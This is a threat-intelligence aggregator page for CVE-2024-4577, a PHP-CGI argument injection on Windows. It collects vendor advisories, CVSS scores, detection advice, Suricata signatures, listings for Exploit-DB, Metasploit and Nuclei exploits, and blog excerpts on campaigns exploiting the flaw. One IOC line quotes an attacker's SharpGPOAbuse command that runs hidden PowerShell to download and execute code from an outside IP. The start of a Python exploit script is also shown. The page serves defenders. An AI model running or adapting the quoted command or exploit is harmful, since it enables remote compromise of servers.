CVE-2024-4577
published 2024-06-09CVE-2024-4577: In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain…
PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2024-07-03
Exploited in the wild
EPSS
99.99%
100.0th percentile
In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
Affected
24 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | php7.4 | < php8.2 8.2.24-1~deb12u1 (bookworm) | php8.2 8.2.24-1~deb12u1 (bookworm) |
| debian | php7.4 | — | — |
| debian | php8.2 | < php8.2 8.2.24-1~deb12u1 (bookworm) | php8.2 8.2.24-1~deb12u1 (bookworm) |
| debian | php8.2 | — | — |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| msrc | azl3_php_8.3.6-1_on_azure_linux_3.0 | — | — |
| msrc | azl3_php_8.3.8-1_on_azure_linux_3.0 | — | — |
| msrc | azure_linux_3.0_arm | — | — |
| msrc | azure_linux_3.0_x64 | — | — |
| msrc | cbl2_php_8.1.28-1_on_cbl_mariner_2.0 | — | — |
| msrc | cbl2_php_8.1.29-1_on_cbl_mariner_2.0 | — | — |
| msrc | cbl_mariner_2.0_arm | — | — |
| msrc | cbl_mariner_2.0_x64 | — | — |
| paloalto | pan-os | — | — |
| php | php | >= 8.1.0 < 8.1.30 | 8.1.30 |
| php | php | >= 8.1.0 < 8.1.29 | 8.1.29 |
| php | php | >= 8.2.0 < 8.2.24 | 8.2.24 |
| php | php | >= 8.2.0 < 8.2.20 | 8.2.20 |
| php | php | >= 8.3.0 < 8.3.12 | 8.3.12 |
| php | php | >= 8.3.0 < 8.3.8 | 8.3.8 |
| php_group | php | >= 8.1.* < 8.1.30 | 8.1.30 |
| php_group | php | >= 8.2.* < 8.2.24 | 8.2.24 |
| php_group | php | >= 8.3.* < 8.3.12 | 8.3.12 |
Detection & IOCsextracted from sources · hover to see the quote
commandSharpGPOAbuse.exe --AddComputerTask --TaskName "update" --Author DOMAINAdmin --Command "cmd.exe" --Arguements "/c powershell.exe -nop -w hidden -c "IEX ((new-object new.webclient).downloadstring('http[://]38[.]14↗
- →Detect CVE-2024-4577 exploitation attempts by monitoring HTTP POST requests to PHP-CGI endpoints where the query string begins with the soft-hyphen character (%ad), which is the key bypass character used in the Best-Fit encoding attack. ↗
- →Alert on execution of privilege escalation tools JuicyPotato, RottenPotato, and SweetPotato following PHP-CGI process spawning, as these are used post-exploitation to reach SYSTEM-level access. ↗
- →Monitor for sequential wevtutil log-clearing commands (security, system, application, windows powershell) executed from a non-administrative context or following web server process activity, indicating post-exploitation log wiping. ↗
- →Alert on creation of a registry Run key value named 'Svchost' pointing to cmd.exe or payloads in C:\Windows\Temp, a persistence mechanism observed in this campaign. ↗
- →TellYouThePass ransomware attacks via CVE-2024-4577 use mshta.exe to execute a malicious HTA file containing base64-encoded VBScript; monitor for mshta.exe spawned by web server processes (e.g., Apache/PHP-CGI). ↗
- →TellYouThePass C2 beacon traffic is disguised as a CSS resource request over HTTP; look for anomalous HTTP GET requests with CSS-like paths originating from infected Windows servers. ↗
- →Check Point IPS signature 'PHP CGI Argument Injection (CVE-2024-4577)' can be used to detect exploitation attempts at the network level. ↗
- ·The vulnerability primarily affects Windows-based PHP CGI installations. Systems using Traditional Chinese, Simplified Chinese, and Japanese Windows locales are confirmed exploitable; English and Western European locales have no known exploitation but are not guaranteed safe. ↗
- ·The Apache mod_rewrite mitigation blocking query strings starting with %ad is only a temporary workaround for Traditional Chinese, Simplified Chinese, and Japanese locales — upgrading PHP is still required. ↗
- ·PHP 8.0, PHP 7, and PHP 5 are End-of-Life and assumed vulnerable but will not receive official patches; migration to a supported version is required. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
osv9.8CRITICAL
vulncheck10.0CRITICAL
cisa9.8CRITICAL
vendor_debian9.8LOW
vendor_msrc9.8CRITICAL
vendor_oracle9.8CRITICAL
vendor_redhat9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Oracle
Oracle Oracle Communications Risk Matrix: Web UI (PHP) — CVE-2024-4577
vendor_oracle·2024-10-15·CVSS 9.8
CVE-2024-4577 [CRITICAL] Oracle Oracle Communications Risk Matrix: Web UI (PHP) — CVE-2024-4577
Oracle Oracle Communications Risk Matrix: Web UI (PHP) vulnerability
CVE: CVE-2024-4577
CVSS: 9.8
Protocol: HTTP
Remote exploit: Yes
Affected versions: Network
Advisory: cpuoct2024 (OCT 2024)
Microsoft
PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
vendor_msrc·2024-10-08·CVSS 8.1
CVE-2024-8926 [CRITICAL] CWE-78 PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
FAQ: Is Azure Linux the only Microsoft product that includes this open-source library and is therefore potentially affected by this vulnerability?
One of the main benefits to our customers who choose to use the Azure Linux distro is the commitment to keep it up to date with the most recent and most secure versions of the open source libraries with which the distro is composed. Microsoft is committed to transparency in this work which is why we began publishing CSAF/VEX in October 2025. See this blog post for more information. If impact to additional products is identified, we will update the CVE to reflect this.
Mariner: Mariner
php: php
Customer Action Required: Yes
Remediation: CBL-Mariner Releases
Reference: https://
Red Hat
php: PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
vendor_redhat·2024-10-07·CVSS 9.8
CVE-2024-8926 [CRITICAL] CWE-78 php: PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
php: PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
In PHP versions 8.1.* before 8.1.30, 8.2.* before 8.2.24, 8.3.* before 8.3.12, when using a certain non-standard configurations of Windows codepages, the fixes for CVE-2024-4577 https://github.com/advisories/GHSA-vxpp-6299-mxw3 may still be bypassed and the same command injection related to Windows "Best Fit" codepage behavior can be achieved. This may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
A flaw was found in PHP that bypasses the fix implemented in CVE-2024-4577 when using a non-standard configuration of Windows codepages, only obtainable through the registry by pointing the ACP codepage to an OEM codepage.
CISA
PHP-CGI OS Command Injection Vulnerability
cisa·2024-06-12·CVSS 9.8
CVE-2024-4577 [CRITICAL] CWE-78 PHP-CGI OS Command Injection Vulnerability
Vulnerability: PHP-CGI OS Command Injection Vulnerability
Affected: PHP Group PHP
PHP, specifically Windows-based PHP used in CGI mode, contains an OS command injection vulnerability that allows for arbitrary code execution. This vulnerability is a patch bypass for CVE-2012-1823.
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Notes: This vulnerability affects a common open-source component, third-party library, or a protocol used by different products. Please check with specific vendors for information on patching status. For more information, please see: https://www.php.net/ChangeLog-8.php#; https://nvd.nist.gov/vuln/detail/CVE-2024-4577
Remediation Due Date: 2024-07-03
Microsoft
Argument Injection in PHP-CGI
vendor_msrc·2024-06-11·CVSS 9.8
CVE-2024-4577 [CRITICAL] CWE-78 Argument Injection in PHP-CGI
Argument Injection in PHP-CGI
FAQ: Is Azure Linux the only Microsoft product that includes this open-source library and is therefore potentially affected by this vulnerability?
One of the main benefits to our customers who choose to use the Azure Linux distro is the commitment to keep it up to date with the most recent and most secure versions of the open source libraries with which the distro is composed. Microsoft is committed to transparency in this work which is why we began publishing CSAF/VEX in October 2025. See this blog post for more information. If impact to additional products is identified, we will update the CVE to reflect this.
Mariner: Mariner
php: php
Customer Action Required: Yes
Remediation: CBL-Mariner Releases
Reference: https://learn.microsoft.com/en-us/azure/azu
Red Hat
php: Argument Injection in PHP-CGI
vendor_redhat·2024-06-07·CVSS 9.8
CVE-2024-4577 [CRITICAL] CWE-78 php: Argument Injection in PHP-CGI
php: Argument Injection in PHP-CGI
In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
A flaw was found in PHP versions 8.1 before 8.1.29, 8.2 before 8.2.20, and 8.3 before 8.3.8. When using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use the "Best-Fit" behavior to replace characters in the command
Palo Alto
PAN-SA-2024-0001 Informational Bulletin: Impact of OSS CVEs in PAN-OS
vendor_paloalto·2024-02-14·CVSS 9.8
CVE-2017-18342 [CRITICAL] PAN-SA-2024-0001 Informational Bulletin: Impact of OSS CVEs in PAN-OS
PAN-SA-2024-0001 Informational Bulletin: Impact of OSS CVEs in PAN-OS
The Palo Alto Networks Product Security Assurance team has evaluated the following open source software (OSS) CVEs as they relate to PAN-OS software. While PAN-OS software may include the
CVEs: CVE-2017-18342, CVE-2017-8923, CVE-2017-9120, CVE-2019-1551, CVE-2019-16865, CVE-2019-16905, CVE-2019-19523, CVE-2019-19528, CVE-2019-19911, CVE-2020-0404, CVE-2020-0431, CVE-2020-0466, CVE-2020-10379, CVE-2020-11538, CVE-2020-11608, CVE-2020-12114, CVE-2020-12321, CVE-2020-12362, CVE-2020-12363, CVE-2020-12364, CVE-2020-13757, CVE-2020-14314, CVE-2020-14351, CVE-2020-15778, CVE-2020-1967, CVE-2020-24394, CVE-2020-24504, CVE-2020-25211, CVE-2020-25212, CVE-2020-25284, CVE-2020-25285, CVE-2020-25717, CVE-2020-26541, CVE-2020-2715
Debian
CVE-2024-4577: php7.4 - In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, wh...
vendor_debian·2024·CVSS 9.8
CVE-2024-4577 [CRITICAL] CVE-2024-4577: php7.4 - In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, wh...
In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
Scope: local
bullseye: resolved
Debian
CVE-2024-8926: php7.4 - In PHP versions 8.1.* before 8.1.30, 8.2.* before 8.2.24, 8.3.* before 8.3.12, w...
vendor_debian·2024·CVSS 9.8
CVE-2024-8926 [CRITICAL] CVE-2024-8926: php7.4 - In PHP versions 8.1.* before 8.1.30, 8.2.* before 8.2.24, 8.3.* before 8.3.12, w...
In PHP versions 8.1.* before 8.1.30, 8.2.* before 8.2.24, 8.3.* before 8.3.12, when using a certain non-standard configurations of Windows codepages, the fixes for CVE-2024-4577 https://github.com/advisories/GHSA-vxpp-6299-mxw3 may still be bypassed and the same command injection related to Windows "Best Fit" codepage behavior can be achieved. This may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
Scope: local
bullseye: resolved
OSV
CVE-2024-8926: In PHP versions 8
osv·2024-10-08·CVSS 9.8
CVE-2024-8926 [CRITICAL] CVE-2024-8926: In PHP versions 8
In PHP versions 8.1.* before 8.1.30, 8.2.* before 8.2.24, 8.3.* before 8.3.12, when using a certain non-standard configurations of Windows codepages, the fixes for CVE-2024-4577 https://github.com/advisories/GHSA-vxpp-6299-mxw3 may still be bypassed and the same command injection related to Windows "Best Fit" codepage behavior can be achieved. This may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
OSV
CVE-2024-8926: [Bypass of CVE-2024-4577, Parameter Injection Vulnerability]
osv·2024-09-27·CVSS 9.8
CVE-2024-8926 [CRITICAL] CVE-2024-8926: [Bypass of CVE-2024-4577, Parameter Injection Vulnerability]
[Bypass of CVE-2024-4577, Parameter Injection Vulnerability]
GHSA
GHSA-vxpp-6299-mxw3: In PHP versions 8
ghsa_unreviewed·2024-06-09
CVE-2024-4577 [CRITICAL] CWE-78 GHSA-vxpp-6299-mxw3: In PHP versions 8
In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
VulnCheck
PHP-CGI OS Command Injection Vulnerability
vulncheck·2024·CVSS 9.8
CVE-2024-4577 [CRITICAL] CWE-78 PHP-CGI OS Command Injection Vulnerability
PHP-CGI OS Command Injection Vulnerability
PHP, specifically Windows-based PHP used in CGI mode, contains an OS command injection vulnerability that allows for arbitrary code execution. This vulnerability is a patch bypass for CVE-2012-1823.
Affected: PHP Group PHP
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Known Ransomware Campaign Use: Known
Exploitation References: https://www.imperva.com/blog/imperva-protects-against-critical-php-vulnerability-cve-2024-4577/; https://x.com/Shadowserver/status/1799053497490698548; https://infosec.exchange/@ntkramer/112582375921224782; https://api.vulncheck.com/v3/index/sans-dshield?cve=CVE-2024-4577; https://isc.sans.edu/diary/Attacker%20Probing%20for%20New%20PHP%20Vu
VulnCheck
Apache ActiveMQ Deserialization of Untrusted Data Vulnerability
vulncheck·2023·CVSS 10.0
CVE-2023-46604 [CRITICAL] CWE-502 Apache ActiveMQ Deserialization of Untrusted Data Vulnerability
Apache ActiveMQ Deserialization of Untrusted Data Vulnerability
Apache ActiveMQ contains a deserialization of untrusted data vulnerability that may allow a remote attacker with network access to a broker to run shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.
Affected: Apache ActiveMQ
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Known Ransomware Campaign Use: Known
Exploitation References: https://socradar.io/critical-rce-vulnerability-in-apache-activemq-is-targeted-by-hellokitty-ransomware-cve-2023-46604/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://www.huntress.com
VulnCheck
Apache Log4j2 Remote Code Execution Vulnerability
vulncheck·2021·CVSS 10.0
CVE-2021-44228 [CRITICAL] CWE-20 Apache Log4j2 Remote Code Execution Vulnerability
Apache Log4j2 Remote Code Execution Vulnerability
Apache Log4j2 contains a vulnerability where JNDI features do not protect against attacker-controlled JNDI-related endpoints, allowing for remote code execution.
Affected: Apache Log4j2
Required Action: For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.
Known Ransomware Campaign Use: Known
Exploitation References: https://cisa.gov/news-events/cybersecurity-advisories/aa21-336a; https://api.vulncheck.com/v3/index/sans-dshield?cve=
VulnCheck
PHP-CGI Query String Parameter Vulnerability
vulncheck·2012·CVSS 9.8
CVE-2012-1823 [CRITICAL] CWE-20 PHP-CGI Query String Parameter Vulnerability
PHP-CGI Query String Parameter Vulnerability
sapi/cgi/cgi_main.c in PHP, when configured as a CGI script, does not properly handle query strings, which allows remote attackers to execute arbitrary code.
Affected: PHP PHP
Required Action: Apply updates per vendor instructions.
Exploitation References: https://www.fortiguard.com/encyclopedia/ips/31752; https://www.bleepingcomputer.com/news/security/linux-and-windows-servers-targeted-with-rubyminer-malware/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://www.trustwave.com/hubfs/Web/Library/Documents_pdf/2024_Trustwave_Public_Sector_Threat_Landscape.pdf; https://censys.com/cve-2024-4577/; https://www.trustwave.com/hubfs/Web/Library/Documents_pdf/2024_Trustwave_Professional_Services_Sector_Threa
Suricata
ET WEB_SPECIFIC_APPS PHP-CGI OS Command Injection (soft hyphen) (CVE-2024-4577)
suricata·2025-03-12·CVSS 9.8
CVE-2024-4577 [CRITICAL] ET WEB_SPECIFIC_APPS PHP-CGI OS Command Injection (soft hyphen) (CVE-2024-4577)
ET WEB_SPECIFIC_APPS PHP-CGI OS Command Injection (soft hyphen) (CVE-2024-4577)
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS PHP-CGI OS Command Injection (soft hyphen) (CVE-2024-4577)"; flow:established,to_server; http.method; content:"POST"; http.uri.raw; content:"|3f 25|AD"; fast_pattern; nocase; http.request_body; content:"|3c 3f|php"; startswith; reference:url,www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure; reference:cve,2024-4577; classtype:web-application-attack; sid:2060800; rev:1; metadata:affected_product PHP, attack_target Server, created_at 2025_03_12, cve CVE_2024_4577, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, tag CISA_KEV, updated_at 2025_03_12, mit
Suricata
ET WEB_SERVER Generic PHP Remote File Include
suricata·2014-12-17
CVE-2002-0953 ET WEB_SERVER Generic PHP Remote File Include
ET WEB_SERVER Generic PHP Remote File Include
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER Generic PHP Remote File Include"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"allow_url_include"; http.uri.raw; content:"php|3a 2f 2f|input"; http.request_body; content:"<?php"; fast_pattern; reference:cve,2002-0953; reference:cve,2024-4577; classtype:attempted-user; sid:2019957; rev:6; metadata:affected_product Any, attack_target Server, created_at 2014_12_17, deployment Datacenter, confidence High, signature_severity Major, tag Remote_File_Include, updated_at 2024_06_10, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
Suricata
ET WEB_SERVER PHP Possible php Remote File Inclusion Attempt
suricata·2011-06-10
CVE-2002-0953 ET WEB_SERVER PHP Possible php Remote File Inclusion Attempt
ET WEB_SERVER PHP Possible php Remote File Inclusion Attempt
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_SERVER PHP Possible php Remote File Inclusion Attempt"; flow:established,to_server; http.uri; content:".php?"; content:"=php|3a|//"; reference:cve,2002-0953; reference:cve,2024-4577; reference:url,diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/; classtype:web-application-attack; sid:2013001; rev:5; metadata:created_at 2011_06_10, cve CVE_2002_0953, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2020_04_20, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
Exploit-DB
PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
exploitdb·2025-06-15·CVSS 9.8
CVE-2024-4577 [CRITICAL] PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
---
#!/usr/bin/env python3
# Exploit Title: PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
# Date: 2025-06-13
# Exploit Author: @ibrahimsql
# Exploit Author's github: https://github.com/yigitsql ( old account banned )
# Vendor Homepage: https://www.php.net/
# Software Link: https://www.php.net/downloads
# Version: PHP =1.26.0, rich, requests>=2.25.0, alive_progress, concurrent.futures
import re
import sys
import base64
import requests
import argparse
from rich.console import Console
from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed
disable_warnings(InsecureRequestWarning)
console = Console(
Metasploit
PHP CGI Argument Injection Remote Code Execution
metasploit
PHP CGI Argument Injection Remote Code Execution
PHP CGI Argument Injection Remote Code Execution
This module exploits a PHP CGI argument injection vulnerability affecting PHP in certain configurations on a Windows target. A vulnerable configuration is locale dependant (such as Chinese or Japanese), such that the Unicode best-fit conversion scheme will unexpectedly convert a soft hyphen (0xAD) into a dash (0x2D) character. Additionally a target web server must be configured to run PHP under CGI mode, or directly expose the PHP binary. This issue has been fixed in PHP 8.3.8 (for the 8.3.x branch), 8.2.20 (for the 8.2.x branch), and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of life and have note received patches. XAMPP is vulnerable in a default configuration, and we can target the /php-cgi/php-cgi.exe endpoint. To target
Nuclei
PHP CGI - Argument Injection
nuclei·CVSS 9.8
CVE-2024-4577 [CRITICAL] PHP CGI - Argument Injection
PHP CGI - Argument Injection
PHP CGI - Argument Injection (CVE-2024-4577) is a critical argument injection flaw in PHP.
Template:
id: CVE-2024-4577
info:
name: PHP CGI - Argument Injection
author: Hüseyin TINTAŞ,sw0rk17,s4e-io,pdresearch
severity: critical
description: |
PHP CGI - Argument Injection (CVE-2024-4577) is a critical argument injection flaw in PHP.
impact: |
Successful exploitation could lead to remote code execution on the affected system.
remediation: |
Apply the vendor-supplied patches or upgrade to a non-vulnerable version.
reference:
- https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577
- http://www.openwall.com/lists/oss-security/2024/06/07/1
- https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
- https://cert.be/en/advisory/warning-php-remote-
abuse.ch
RedTail - payload delivery infrastructure (IP address and port)
abuse_ch·2026-06-19
CVE-2024-4577 RedTail - payload delivery infrastructure (IP address and port)
ThreatFox IOC: RedTail payload delivery infrastructure
Indicator Type: IP address and port
Tags: cve-2024-4577
Reference: https://twitter.com/NullBlue67
Confidence: 80%
abuse.ch
RedTail - payload delivery infrastructure (URL)
abuse_ch·2026-06-14
CVE-2024-4577 RedTail - payload delivery infrastructure (URL)
ThreatFox IOC: RedTail payload delivery infrastructure
Indicator Type: URL
Tags: cve-2024-4577
Reference: https://twitter.com/NullBlue67
Confidence: 85%
abuse.ch
RedTail - payload delivery infrastructure (IP address and port)
abuse_ch·2026-06-10
CVE-2024-4577 RedTail - payload delivery infrastructure (IP address and port)
ThreatFox IOC: RedTail payload delivery infrastructure
Indicator Type: IP address and port
Tags: cve-2024-4577
Reference: https://twitter.com/NullBlue67
Confidence: 85%
Sans Isc
Danger of Libredtail [Guest Diary], (Wed, Apr 29th)
blogs_sans_isc·2026-04-30
CVE-2024-4577 Danger of Libredtail [Guest Diary], (Wed, Apr 29th)
Danger of Libredtail [Guest Diary]
Published: 2026-04-29. Last Updated: 2026-04-30 00:07:03 UTC
by James Roberts, SANS.edu BACS Student (Version: 1)
0 comment(s)
[This is a Guest Diary by James Roberts, an ISC intern as part of the SANS.edu BACS program]
Over the last few months, I have gained valuable experience working with the Internet Storm Center (ISC) operating a honeypot and analyzing its output via a SIEM environment. This work gave me hands on experience with system set on a Raspberry Pi environment, utilizing command line interfaces, SIEM deployment, networking, and information analysis. This experience was also a good demonstration of difficulty of finding useful information in a sea of logged data and how to find interesting items within it. Some of the most interesting ite
Rapid7
Rapid7 Detection Coverage for Iran-Linked Cyber Activity
blogs_rapid7·2026-03-11
Rapid7 Detection Coverage for Iran-Linked Cyber Activity
The tension arising out of the conflict in Iran is beginning to show signs of expanding beyond a strictly regional crisis. Following our recent published advisories, this communication is intended to outline and summarize the detection and enrichment coverage available to Rapid7 customers, broadly assess the macro cyber threat landscape, and demonstrate the specific actions undertaken within the Rapid7 portfolio to assure our customers of the protection they receive and can expect moving forward. For a research-driven companion piece from Rapid7 Labs, dive into Iran’s Cyber Playbook in the Escalating Regional Conflict.
## Tracking the campaigns associated with the current conflict
There exists a number of threat campaigns (both directly and indirectly) associated with groups associated w
Rapid7
Rapid7 Detection Coverage for Iran-Linked Cyber Activity
blogs_rapid7·2026-03-11
Rapid7 Detection Coverage for Iran-Linked Cyber Activity
The tension arising out of the conflict in Iran is beginning to show signs of expanding beyond a strictly regional crisis. Following our recent published advisories, this communication is intended to outline and summarize the detection and enrichment coverage available to Rapid7 customers, broadly assess the macro cyber threat landscape, and demonstrate the specific actions undertaken within the Rapid7 portfolio to assure our customers of the protection they receive and can expect moving forward. For a research-driven companion piece from Rapid7 Labs, dive into Iran’s Cyber Playbook in the Escalating Regional Conflict .
## Tracking the campaigns associated with the current conflict
There exists a number of threat campaigns (both directly and indirectly) associated with groups associated
Greynoiseio
PHP Cryptomining Campaign: October/November 2025
blogs_greynoiseio·2025-11-04·CVSS 9.8
[CRITICAL] PHP Cryptomining Campaign: October/November 2025
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Talos
Patch it up: Old vulnerabilities are everyone’s problems
blogs_talos·2025-03-13·CVSS 9.3
[CRITICAL] Patch it up: Old vulnerabilities are everyone’s problems
## Patch it up: Old vulnerabilities are everyone’s problems
Welcome to this week’s edition of the Threat Source newsletter.
Let's pick up where we left off in my last newsletter. Please mark your calendars: The free support for Windows 10 will end on October 14, 2025.
When a software loses vendor support, it no longer receives patches or updates. As highlighted in my previous newsletter, the top method for initial access in the last quarter of 2024 was exploiting vulnerabilities in public-facing applications. While Windows 10 isn't typically (or shouldn't be) a public-facing application, unpatched client systems become prime targets for bad actors as they progress through the stages of an attack: Execution, Privilege Escalation, Defense Evasion, Credential Access, and Lateral Movement.
Talos
Patch it up: Old vulnerabilities are everyone’s problems
blogs_talos·2025-03-13·CVSS 9.3
[CRITICAL] Patch it up: Old vulnerabilities are everyone’s problems
Welcome to this week’s edition of the Threat Source newsletter.
Let's pick up where we left off in my last newsletter. Please mark your calendars: The free support for Windows 10 will end on October 14, 2025.
When a software loses vendor support, it no longer receives patches or updates. As highlighted in my previous newsletter, the top method for initial access in the last quarter of 2024 was exploiting vulnerabilities in public-facing applications. While Windows 10 isn't typically (or shouldn't be) a public-facing application, unpatched client systems become prime targets for bad actors as they progress through the stages of an attack: Execution, Privilege Escalation, Defense Evasion, Credential Access, and Lateral Movement.
In last week’s newsletter, my colleague Martin asked, "Who i
Bleepingcomputer
Critical PHP RCE vulnerability mass exploited in new attacks
blogs_bleepingcomputer·2025-03-11·CVSS 9.8
CVE-2024-4577 [CRITICAL] Critical PHP RCE vulnerability mass exploited in new attacks
## Critical PHP RCE vulnerability mass exploited in new attacks
## Sergiu Gatlan
Threat intelligence company GreyNoise warns that a critical PHP remote code execution vulnerability that impacts Windows systems is now under mass exploitation.
Tracked as CVE-2024-4577 , this PHP-CGI argument injection flaw was patched in June 2024 and affects Windows PHP installations with PHP running in CGI mode. Successful exploitation enables unauthenticated attackers to execute arbitrary code and leads to complete system compromise following successful exploitation.
A day after PHP maintainers released CVE-2024-4577 patches on June 7, 2024, WatchTowr Labs released proof-of-concept (PoC) exploit code , and the Shadowserver Foundation reported observing exploitation attempts .
GreyNoise's warning come
Greynoiseio
GreyNoise Detects Mass Exploitation of Critical PHP-CGI Vulnerability (CVE-2024-4577), Signaling Broad Campaign
blogs_greynoiseio·2025-03-07·CVSS 9.8
[CRITICAL] GreyNoise Detects Mass Exploitation of Critical PHP-CGI Vulnerability (CVE-2024-4577), Signaling Broad Campaign
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Talos
Unmasking the new persistent attacks on Japan
blogs_talos·2025-03-06·CVSS 9.8
CVE-2024-4577 [CRITICAL] Unmasking the new persistent attacks on Japan
## Unmasking the new persistent attacks on Japan
Cisco Talos discovered malicious activities conducted by an unknown attacker since as early as January 2025, predominantly targeting organizations in Japan.
The attacker has exploited the vulnerability CVE-2024-4577 , a remote code execution (RCE) flaw in the PHP-CGI implementation of PHP on Windows, to gain initial access to victim machines.
The attacker utilizes plugins of the publicly available Cobalt Strike kit "TaoWu" for-post exploitation activities.
Talos found a pre-configured installer script on the command and control (C2) server that deploys a full suite of adversarial tools and frameworks hosted on an Alibaba cloud container Registry, highlighting the potential misuse of such tools for malicious purposes by the attacker.
Tal
Talos
Unmasking the new persistent attacks on Japan
blogs_talos·2025-03-06·CVSS 9.8
CVE-2024-4577 [CRITICAL] Unmasking the new persistent attacks on Japan
- Cisco Talos discovered malicious activities conducted by an unknown attacker since as early as January 2025, predominantly targeting organizations in Japan.
